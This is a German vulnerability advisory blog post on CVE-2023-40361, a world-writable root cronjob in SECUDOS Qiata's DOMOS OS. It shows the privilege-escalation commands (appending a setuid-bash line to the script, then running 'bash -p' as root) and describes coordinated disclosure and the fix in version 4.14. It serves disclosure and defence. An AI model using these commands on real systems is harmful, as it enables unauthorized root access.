Advisory: SECUDOS Qiata – Hohe Berechtigungen auf Cronjob führt zu lokaler Privilege Escalation (CVE-2023-40361)

Die SECUDOS Qiata nutzt ein Skript, um das darunter liegende Betriebssystem (DOMOS OS) von unnötigen Bilddateien zu bereinigen. Hierbei sind die Berechtigungen auf das Skript zu hoch und ermöglichen es einem Angreifer mit Zugriff auf das System, seine Berechtigungen zu erweitern.
Der folgende Blogbeitrag zeigt auf, wie diese Schwachstelle gefunden wurde und ausgenutzt werden konnte, aber auch wie sinnvoll eine gute Kommunikation zwischen Sicherheitsforschern und Entwicklern ist.

„SECUDOS ist ein innovativer und schnell expandierender Anbieter für Appliance-Technologien und -Dienstleistungen mit Schwerpunkt auf den sicheren Umgang mit Dateien.“(Quelle).  Hierfür entwickelt SECUDOS unter anderem die Qiata Anwendung, über die Anwender Dateien mit sensiblen Inhalten austauschen können.

Im Laufe eines Penetrationstests der Thinking Objects GmbH gelang es den Testern, eine Schwachstelle im Betriebssystem „DOMOS OS“ zu identifizieren. Dieses Betriebssystem wird als Grundlage für die Qiata Anwendung beim Kunden der SECUDOS installiert und wird in den meisten Fällen im internen Netz des Kunden aufgesetzt.

Technische Details zur Ausnutzung der Schwachstelle

Die Überprüfung der Qiata Anwendung galt der Netzwerkübertragung, Webanwendung, Datenbanken sowie des Betriebssystems. Hierfür stattete SECUDOS die Tester mit Zugriff auf das darunterliegende System aus. Hierbei wurde ein administrativer Account mit dem Namen admin zur Verfügung gestellt, welcher über genügend Rechte verfügt, um die Qiata Anwendung zu administrieren, allerdings nicht über vollständigen Zugriff auf das Betriebssystem selbst. Dieser Account wird standardmäßig bei einer Installation eines DOMOS Systems erstellt. Während der Überprüfung des DOMOS Systems konnten die Tester ein Skript identifizieren, das einmal pro Tag im Kontext des root Benutzers ausgeführt wird, ein sogenannter Cronjob:

Figure 1: Berechtigungen von täglichen Cronjobs

Das Skript selbst ist dafür gedacht, die von der Anwendung erstellten Thumbnails, der übermittelten Dateien, nach einem definierten Zeitraum zu löschen. Dies muss regelmäßig geschehen, damit der Speicher des Systems nicht mit alten Thumbnails vollläuft und der Einsatz des Systems gewährleistet werden kann. Nachfolgend ist das erwähnte Skript aufgeführt.

[admin@localhost ~]$ cat /etc/cron.daily/previewRm.sh
#!/bin/bash # Copyright 2009-2014 Qiata
#
# This code is NOT free software.
#
# This script deletes all generated preview files that are older than

LOCATION=/var/lib/fta/company/default/preview
OLDERTHAN=7
FILESCOUNT=`find $LOCATION -type f | wc -l`
if [ $FILESCOUNT -gt 0 ]; then
find $LOCATION -mtime +$OLDERTHAN -type f -delete
if [ "$?" != "0" ]; then
logger -i -t previewRm problem
deleting preview files. else logger -i -t previewRm from total $FILESCOUNT preview files, deleted files older than $OLDERTHAN days.
fi
else
logger -i -t previewRm no preview files found at all.
fi

Aufmerksame Lesende werden bereits in der ersten Abbildung bezüglich des Skripts bemerkt haben, wie die Berechtigungen auf die Skriptdatei eingestellt sind:

-rwxrwxrwx 1 root root 175 Jul 10 14:37 previewRm.sh

Diese Berechtigungen bedeuten, dass jeder Nutzer der sich auf dem DOMOS System anmeldet, über Ausführungs-, Lese- sowie Schreibberechtigungen verfügt.
Aufgrund dieser Berechtigungen war es, den Testern der Thinking Objects GmbH möglich, sich root-Berechtigungen auf dem System zu verschaffen. Dies wurde dadurch erreicht, dass an das vorhandene Skript ein Befehl angehängt wurde, welcher die Berechtigungen für die Bash Binary so verändert, dass es möglich ist, diese mit root-Berechtigungen auszuführen. Danach mussten die Tester nur noch warten, bis der Cronjob ausgeführt wird:

[admin@localhost ~]$ echo "chmod u+s /bin/bash" >>
/etc/cron.daily/previewRm.sh
[admin@localhost ~]$ cat /etc/cron.daily/previewRm.sh
#!/bin/bash
# Copyright 2009-2014 Qiata
#
# This code is NOT free software.
#
# This script deletes all generated preview files that are older than

LOCATION=/var/lib/fta/company/default/preview
OLDERTHAN=7
FILESCOUNT=`find $LOCATION -type f | wc -l`
if [ $FILESCOUNT -gt 0 ]; then
find $LOCATION -mtime +$OLDERTHAN -type f -delete
if [ "$?" != "0" ]; then
logger -i -t previewRm problem deleting preview files.
else
logger -i -t previewRm from total $FILESCOUNT preview files, deleted files older than $OLDERTHAN days.
fi
else
logger -i -t previewRm no preview files found at all.
fi
chmod u+s /bin/bash

---
Warten bis der Cronjob ausgeführt wird (maximal 24 Stunden)
---

[admin@localhost cron.daily]$ ls -al /bin/bash
-rwsr-xr-x. 1 root root 1150560 Aug 3 2022 /bin/bash
[admin@localhost cron.daily]$ /bin/bash -p
bash-4.4# id
uid=1000(admin) gid=1000(admin) euid=0(root) groups=1000(admin)
bash-4.4# chown admin:admin previewRm.sh
bash-4.4# ls -al /etc/cron.daily/previewRm.sh
-rwxrwxrwx 1 admin admin 618 Aug 10 13:14 /etc/cron.daily/previewRm.sh

Kommunikation mit SECUDOS und Behebung der Schwachstelle

SECUDOS wurde nach der Entdeckung der Schwachstelle direkt kontaktiert und reagierte dementsprechend:

  • die Berechtigungen des Cronjobs wurden angepasst
  • die Änderungen wurden überprüft und validiert
  • eine Erlaubnis zur Veröffentlichung der Schwachstelle wurde ausgesprochen
Figure 2: Geänderte Berechtigungen

Die Bereitschaft zur Veröffentlichung und die gute sowie zügige Kommunikation zwischen SECUDOS und der Thinking Objects GmbH ermöglichten es, das Wissen über die Schwachstelle zu veröffentlichen (MITRE, SECUDOS News).

Die Änderungen am DOMOS System wurde mit der DOMOS Version 4.14. ausgerollt und es wird empfohlen, dass alle Nutzer des Systems auf diese Version upgraden (GitHub).

Zum Autor

Nico Viakowski (ehemaliger Mitarbeiter)
IT Security Consultant

Im Fokus

NIS-2 kommt: Jetzt aktiv werden!

Die Uhr tickt und viele Unternehmen sind betroffen. In Kürze muss die neue EU-Richtlinie zur Erhöhung der Cybersicherheit umgesetzt werden. Das gibt es zu tun.

NIS-2 souverän umsetzen

Managed Detection and Response Service

24/7-Cyberabwehr durch Technik und Experten: Ein MDR-Service kombiniert modernste Erkennungstechnologie mit der Erfahrung eines Teams von Security-Spezialisten.

Mehr über den MDR-Service erfahren

Softwareentwicklern-Gruppe

Deine Karriere, Deine Zukunft

Bereit, die Cyber-Welt zu retten? Ob Ausbildung, Berufseinstieg oder mit Berufserfahrung. Sei Teil unseres Teams und finde bei uns endlich den Job, der zu Dir passt!

Zu unseren Stellenangeboten